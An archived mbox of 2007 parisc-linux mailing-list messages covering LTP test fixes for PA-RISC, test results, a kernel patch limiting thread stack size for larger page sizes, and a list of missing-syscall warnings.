X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <vapier@gentoo.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Mar 2007 20:26:54 -0000
Original-Received: from smtp.gentoo.org (EHLO smtp.gentoo.org) [140.211.166.183]
  by mx0.gmx.net (mx055) with SMTP; 13 Mar 2007 21:26:54 +0100
Original-Received: from home.wh0rd.org (pool-151-203-195-204.bos.east.verizon.net [151.203.195.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 99B856508F
	for <deller@gmx.de>; Tue, 13 Mar 2007 20:26:51 +0000 (UTC)
Original-Received: (qmail 2580 invoked from network); 13 Mar 2007 15:26:00 -0500
Original-Received: from unknown (HELO vapier) (192.168.0.2)
  by 192.168.0.1 with SMTP; 13 Mar 2007 15:26:00 -0500
User-Agent: KMail/1.9.6
In-Reply-To: <enp0um$dek$1@sea.gmane.org>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NjHBDN8vQEVsv+jDZnVp7r5KNzg2NUKe
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24443

--nextPart7679364.bG73rtrKA9
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Saturday 06 January 2007, Helge Deller wrote:
> the trivial patch below is against the current CVS version of LTP and adds
> missing pieces and changes which are necessary for LTP on the PARISC/HPPA
> architecture.

looks like your mailer mangled the whitespace in the patch ...

> The read04.c patch part is a real architecture-independend bugfix. The
> read04 tests writes TST_SIZE bytes to a file, reads the same amount of
> bytes back again and compares the contents. Naturally, it only should
> verify if TST_SIZE bytes (the amount of bytes which where written!)
> matches. sizeof() returns the number of bytes including the leading
> zero-byte which hasn't been read back.

indeed, thanks for that

> Index: testcases/kernel/mem/shmt/shmt02.c
> Index: testcases/kernel/mem/shmt/shmt04.c
> Index: testcases/kernel/mem/shmt/shmt05.c
> Index: testcases/kernel/mem/shmt/shmt06.c
> Index: testcases/kernel/mem/shmt/shmt07.c
> Index: testcases/kernel/mem/shmt/shmt09.c

merged, no comment obviously :)

> Index: testcases/kernel/io/direct_io/diotest4.c

i rewrote this test case so all GNU C based people use=20
__builtin_return_address(0) by default so we shouldnt need the arch cruft=20
anymore ... leave it to gcc to figure that out

> Index: testcases/kernel/include/linux_syscall_numbers.h

this is a generated file, so you dont want to change it ... ive fixed up th=
e=20
input files instead
=2Dmike

--nextPart7679364.bG73rtrKA9
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.3 (GNU/Linux)

iQIVAwUARfcJB0FjO5/oN/WBAQKzkxAAk548eWMYKs7hT9Ll0aLQ7dD+5MWiBF6Q
vUTMYJPj6Y5ygkWulwhvd7JYTrZbPfWdeRN6/tCHKoUklROJL8f4XHE08GFYhT/H
v2INvZVyFw05vdhUAliyncTjWqMLsAnoHetkqysYn/TzZYVioGzFOVnZRCxM/fWf
+Uy3TlkdKnQNcccNxl2PVGdNgFqLERuY1cXGL8R62NxERcvSVuA6KzLWQ4kdHWPh
wt8jGhtAsEwE4eo0Z3KX+c+VXAPmMFAdWIPCouEdPQpokof71GJ9XaNceh+5IWMJ
k/RwW8N+Y06T+OVYwf5hXBh8oub4i8vEKB/p0ukcwH01QLauv60wDrvXrOZiGTjs
8eqa/el42XvZvBb3QpZFR7C9ACZLLn96o3LhkoPRVmG12F1JNwxbbTwJM3wWsFyL
lh3GpLdcpVZOMXhmh2oFmhVoYfU6vnTp3JaQnd6XpH4SkHHtkjid6EkFLwJEfk5U
xmOPrIwuXDoFUKoCcVnNcBfBBMUwFFGH1xTH6fJAlVXmUmRdfykzSdlJqGteE3rK
n+n8pG3iK1UoDcFXMtVJ4yVuOBP45tvyZygCK0SKZreexh43CLCjERdQ3FDLJQUo
hZ23sZlfUsLYQysFo5eRartsZ0uXMYECdamIQP0n1RiT/pfZTTqXoDFii4Wv/1iw
2F9aatMRT/o=
=87ZC
-----END PGP SIGNATURE-----

--nextPart7679364.bG73rtrKA9--



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Debugging 64-bit kernel crashes involving
Date: Sun, 11 Mar 2007 18:23:22 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <1173655402.3420.31.camel__25665.518633514$1416624327$gmane$org@mulgrave.il.steeleye.com>
References: <200702240039.l1O0dCxG017471@hiauly1.hia.nrc.ca>
	<1172277920.3424.83.camel@mulgrave.il.steeleye.com>
	<119aab440702251819u1a070512j2cb8ca2eeadf0962@mail.gmail.com>
	<1172461983.3423.34.camel@mulgrave.il.steeleye.com>
	<1172467172.3423.39.camel@mulgrave.il.steeleye.com>
	<1172620930.3408.46.camel@mulgrave.il.steeleye.com>
	<20070308193119.GA3553@athena.road.mcmartin.ca>
	<119aab440703111328x5738d60es118519743e6000a3@mail.gmail.com>
	<1173645565.3420.22.camel@mulgrave.il.steeleye.com>
	<119aab440703111513x796e0f34t87507ebd8be2c33d@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624327 23488 80.91.229.3 (22 Nov 2014 02:45:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:27 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2007 23:24:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 12 Mar 2007 00:24:27 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC0AC7DAB7;
	Sun, 11 Mar 2007 17:24:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16986-04; Sun, 11 Mar 2007 17:24:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DFB497DAB8;
	Sun, 11 Mar 2007 17:24:20 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2C037DAB4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 17:24:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16918-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 17:24:16 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id BAFB97DAB3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 17:24:15 -0600 (MDT)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l2BNNMx25526; 
	Sun, 11 Mar 2007 18:23:22 -0500
In-Reply-To: <119aab440703111513x796e0f34t87507ebd8be2c33d@mail.gmail.com>
X-Mailer: Evolution 2.8.3 (2.8.3-1.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: krfCDOlTQEVsv+jDZnVpC7RKNzg2NYJM
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24444

On Sun, 2007-03-11 at 18:13 -0400, Carlos O'Donell wrote:
> Have you posted a more complex test somewhere?

Well, I told you what it is, yes ... it's your fork test with N jacked
up to very high values.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [LTP] [PATCH] shmt02-shmt10 tests on PARISC/hppa
Date: Thu, 15 Mar 2007 21:47:07 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <200703152147.08100.deller__32206.9413531155$1416624327$gmane$org@gmx.de>
References: <200612202344.08356.deller@gmx.de>
	<200703131628.04648.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624327 23490 80.91.229.3 (22 Nov 2014 02:45:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:27 +0000 (UTC)
Cc: ltp-list@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Mar 2007 20:47:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 15 Mar 2007 21:47:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1D09D7DA46;
	Thu, 15 Mar 2007 14:47:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18229-01; Thu, 15 Mar 2007 14:47:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DA0F7DA37;
	Thu, 15 Mar 2007 14:47:16 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4A157DA2D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Mar 2007 14:47:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17714-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Mar 2007 14:47:12 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 9CAC67DA20
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Mar 2007 14:47:11 -0600 (MDT)
Original-Received: (qmail invoked by alias); 15 Mar 2007 20:47:10 -0000
User-Agent: KMail/1.9.6
In-Reply-To: <200703131628.04648.vapier@gentoo.org>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 64bKccg/TXs94ayRbmQ5VOtKRzdyMgOb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24445

Hi Mike,

On Tuesday 13 March 2007, Mike Frysinger wrote:
> can i assume your other e-mail included everything needed to resolve this ?

yes, and thanks a lot for applying them !

I've updated to latest CVS version of LTP, and now the PARISC Linux port finally survives all tests beside one:
  getcontext01    1  FAIL  :  getcontext - Sanity test :  Fail errno=251 : Function not implemented
That's correct, since we don't have the getcontext() call in glibc yet....

Thanks again,
Helge

-------------------
Summary:

/etc/issue:
Debian GNU/Linux 4.0 \n \l

Linux c3000 2.6.20 #341 Wed Mar 7 22:23:17 CET 2007 parisc GNU/Linux

Gnu C                  gcc (GCC) 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)
Gnu make               3.81
util-linux             2.12r
mount                  2.12r
modutils               3.3-pre2
e2fsprogs              1.40-WIP
Linux C Library        2.3.6
Dynamic linker (ldd)   2.3.6
Linux C++ Library      5..
Procps                 3.2.7
Net-tools              1.60
Console-tools          0.2.3
Sh-utils               5.97
Modules Loaded

free reports:
             total       used       free     shared    buffers     cached
Mem:       2069792     108588    1961204          0      20292      46744
-/+ buffers/cache:      41552    2028240
Swap:      2216928          0    2216928

/proc/cpuinfo
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8700 (PCX-W2)
cpu MHz         : 750.000000
model           : 9000/785/C3700
model name      : Allegro W2
hversion        : 0x00005dc0
sversion        : 0x00000481
I-cache         : 768 KB
D-cache         : 1536 KB (WB, direct mapped)
ITLB entries    : 240
DTLB entries    : 240 - shared with ITLB
BTLB            : not supported
bogomips        : 1495.04
software id     : 2004631172

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] limit thread stack size with >4K pages
Date: Sat, 17 Mar 2007 13:23:05 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <200703171323.06002.deller__27255.2623333924$1416624327$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624327 23493 80.91.229.3 (22 Nov 2014 02:45:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:27 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Mar 2007 12:23:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 17 Mar 2007 13:23:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D80EA7D7F9;
	Sat, 17 Mar 2007 06:23:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31158-08; Sat, 17 Mar 2007 06:23:17 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 578B67D81E;
	Sat, 17 Mar 2007 06:23:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD2237D757
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Mar 2007 06:23:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31158-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Mar 2007 06:23:11 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 9F41E7D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Mar 2007 06:23:10 -0600 (MDT)
Original-Received: (qmail invoked by alias); 17 Mar 2007 12:23:08 -0000
User-Agent: KMail/1.9.6
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: je/dbYXQLi5nrvfRZWtpI8VjZml1ZJgw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24446

This patch limits the thread stack size when pages >4 K were selected.
i.e. THREAD_SIZE is calculated to "MAX(16K, PAGE_SIZE)"

diff-tree 6033080df2431638223580559ebea54efb22bc42 (from cd54f53359c3e0deb898a5dbb199b70c5cb6ef0f)
Author: Helge Deller <deller@gmx.de>
Date:   Sat Mar 17 13:19:01 2007 +0100

    [PARISC] limit thread stack size with >4K pages
    
    Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/include/asm-parisc/thread_info.h b/include/asm-parisc/thread_info.h
index 949314c..ec92d66 100644
--- a/include/asm-parisc/thread_info.h
+++ b/include/asm-parisc/thread_info.h
@@ -34,11 +34,16 @@ struct thread_info {
 
 /* thread information allocation */
 
-#define THREAD_ORDER            2
+#if defined(CONFIG_PARISC_PAGE_SIZE_4KB)
+# define THREAD_ORDER	2
+#elif defined(CONFIG_PARISC_PAGE_SIZE_16KB)
+# define THREAD_ORDER	0
+#elif defined(CONFIG_PARISC_PAGE_SIZE_64KB)
+# define THREAD_ORDER	0
+#endif
 /* Be sure to hunt all references to this down when you change the size of
  * the kernel stack */
 #define THREAD_SIZE             (PAGE_SIZE << THREAD_ORDER)
-#define THREAD_SHIFT            (PAGE_SHIFT + THREAD_ORDER)
 
 #define alloc_thread_info(tsk) ((struct thread_info *) \
 			__get_free_pages(GFP_KERNEL, THREAD_ORDER))
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] missing system calls ?
Date: Sat, 17 Mar 2007 13:48:56 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <200703171348.56311.deller__34071.5101840489$1416624328$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624328 23496 80.91.229.3 (22 Nov 2014 02:45:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Mar 2007 12:49:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx068) with SMTP; 17 Mar 2007 13:49:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 732747D8F4;
	Sat, 17 Mar 2007 06:49:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00388-08; Sat, 17 Mar 2007 06:49:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 163877D8FB;
	Sat, 17 Mar 2007 06:49:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C0E697D8E8
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Mar 2007 06:49:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00388-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Mar 2007 06:49:30 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id A4E427D415
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Mar 2007 06:49:29 -0600 (MDT)
Original-Received: (qmail invoked by alias); 17 Mar 2007 12:49:28 -0000
User-Agent: KMail/1.9.6
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1drIfZ5DMmAp4bSZZGFnOI4xMjQ1Nx0o
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24447

I just tested the patch "missing system calls" patch by David Woodhouse (http://thread.gmane.org/gmane.linux.ports.ppc64.devel/16991) 
and the additional patch by David Miller (http://thread.gmane.org/gmane.linux.ports.ppc64.devel/16991/focus=502554) on top of it.
I really liked the patches.

Here is the result for my parisc-linux tree:
init/missing_syscalls.h:68:3: warning: #warning syscall umount not implemented
init/missing_syscalls.h:203:3: warning: #warning syscall sigaction not implemented
init/missing_syscalls.h:218:3: warning: #warning syscall sigsuspend not implemented
init/missing_syscalls.h:248:3: warning: #warning syscall select not implemented
init/missing_syscalls.h:269:3: warning: #warning syscall readdir not implemented
init/missing_syscalls.h:308:3: warning: #warning syscall socketcall not implemented
init/missing_syscalls.h:353:3: warning: #warning syscall ipc not implemented
init/missing_syscalls.h:359:3: warning: #warning syscall sigreturn not implemented
init/missing_syscalls.h:749:3: warning: #warning syscall fadvise64 not implemented
init/missing_syscalls.h:800:3: warning: #warning syscall statfs64 not implemented
init/missing_syscalls.h:803:3: warning: #warning syscall fstatfs64 not implemented
init/missing_syscalls.h:809:3: warning: #warning syscall utimes not implemented
init/missing_syscalls.h:845:3: warning: #warning syscall kexec_load not implemented

Comments ?

Helge
_______________________________________________
parisc-linux mailing list
